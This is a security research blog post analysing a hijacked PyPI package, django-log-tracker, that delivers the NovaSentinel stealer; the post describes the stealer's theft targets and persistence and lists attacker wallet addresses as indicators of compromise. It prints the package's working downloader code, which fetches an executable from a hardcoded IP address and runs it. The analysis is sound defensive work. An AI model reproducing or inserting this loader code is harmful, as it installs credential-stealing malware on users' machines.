Dormant PyPI Package Updated to Deploy NovaSentinel Stealer
On Wednesday, February 21, Phylum’s automated risk detection platform alerted us to an anomalous publication of a PyPI package named django-log-tracker
. This package was first published to PyPI in April 2022. The linked Github repository shows activity around the same time. It’s interesting to note, though, that today’s publication did not align with the activity recorded in the GitHub repository, which has remained dormant since the April 2022 activity. This discrepancy, especially since the update included malicious code, suggests a calculated strategy by an attacker or, more likely, a compromise of the PyPI account. Our analysis leans towards the latter explanation.
--cta--
In the malicious update, the attacker stripped the package of most of its original content, leaving only an __init__.py
and example.py
file behind. The code within both files is identical and straightforward:
import wget
import os
URL = "http://45.88.180.54/DONTTUCHTHIS/Updater_1.4.4_x64.exe"
fileName = "Updater_1.4.4_x64.exe"
appdataRoamingPath = os.getenv('APPDATA')
fullPath = os.path.join(appdataRoamingPath, fileName)
response = wget.download(URL, fullPath)
os.startfile(fullPath)
There’s an undeniable transparency in the code’s intent. In eight simple lines, it downloads and executes an executable, deceptively named “Updater”—a nomenclature we frequently observe in malicious files. The executable is retrieved from a hardcoded IP address, lying within a directory amusingly labeled “DONTTUCHTHIS.” At this point, there’s no question that this is indeed malicious. Nevertheless, for grins and thoroughness, we proceeded further to examine the binary.
On VirusTotal, the exe was flagged by four vendors. Looking at the binary in a bit more depth, we find that this is actually an NSIS installer, so we can easily extract its contents. Inside it, we find an Electron app:
Digging a bit further, we found some heavily obfuscated JavaScript. We worked through decoding it and discovered that it was the NovaSentinel stealer—a form of steal-everything-you-can-find malware. It tries to steal browser secrets, crypto wallets, Discord tokens, wifi passwords, WinSCP, Minecraft, Roblox, etc. It then attempts to persist itself into Chrome, Discord, Exodus, Mullvad, Atomic, and MailSpring. Such malware, like any good “commercial” software often contains configuration files to allow easy runtime configurations without having to modify the source itself. In this code we happened to find a configuration for a clipboard hijacker that is installed to APPDATA/Microsoft/Windows/Themes/CachedFiles
and registered as a scheduled task called “StartCacaTask” (🤨) and “WindowsDriverSetup”. One runs every day and the other runs on logon. The addresses from the clipboard hijacker config in this build are as follows:
ltc_address: "LUkCrDuUBPGH9uVQQHFS5hyi1xPJ38cbUb",
xlm_address: "GBYNIZIJWZT7I2VTCVASDKIM6OXRKNRN4MVS6NTG2L23EIBQENPS5ZA7",
eth_address: "0xb95C23e1aE44b00C160546eb70D383563142A1AE",
dash_address: "XhBFpa8b82yrfddpge84iHT1VHVLd3eUeF",
bch_address: "qqssukdtcxnhz39pck6e3rewa77chk4vwvfx997xk9",
btc_address: "bc1qzgr9wcq28tu9md02rfp5f4tjvsguz7x2a00eye",
xrp_address: "rEV2y4T7KK8omqxZxehhTo4noENPAywWX7",
neo_address: "APP3xgw31kAmrLzmzwsq1QRzqiVJwDFQ2T",
doge_address: "DPZVdUE2tq9DRY7AqwZq79kmPWVfouqutq",
paypal_address: "paypal.me/stik501",
Another characteristic often found in this type of malware includes a set of wallet addresses that the malware author embeds within an "exclude" logical block. This feature is designed to prevent the malware from stealing the author's own wallets. In the specific build we analyzed, the addresses in the configuration file matched those in the "exclude" block. This suggests that the build might have simply used the malware’s defaults or, more intriguingly, have been compiled by the malware authors themselves. While it's impossible to determine with absolute certainty, the addresses above should unequivocally be treated as Indicators of Compromise (IOCs).
We looked into the addresses and they appear to be pretty active, with most activity occurring through 2022 and 2023. According to blockchain.com the Ethereum address
has transacted 43 times on the Ethereum blockchain. It has received a total of 0.552653110090466539 ETH $1,649.89 and has sent a total of 0.52827227363384611 ETH $1,577.10. The current value of this address is 0.00 ETH $0.00.
And the Bitcoin address
has transacted 49 times on the Bitcoin blockchain. It has received a total of 0.33228144 BTC $17,166.00 and has sent a total of 0.33228144 BTC $17,166.00 (❗) The current value of this address is 0.00000000 BTC $0.00.
Conclusion
NovaSentinel and other stealers like it are not new. They have been around in various forms for decades and will continue to plague us as long as there’s money to be made from it. It’s a relatively low-risk endeavor with a potentially high reward for most of these cybercriminals. What’s interesting about this particular case, however, is that the attack vector appeared to be an attempted supply-chain attack via a compromised PyPI account. If this had been a really popular package, any project with this package listed as a dependency without a version specified or a flexible version specified in their dependency file would have pulled the latest, malicious version of this package. This underscores, yet again, the implicit trust we, as developers, place in the open-source software ecosystem. Just because you’ve used a safe package yesterday doesn’t mean it will be tomorrow.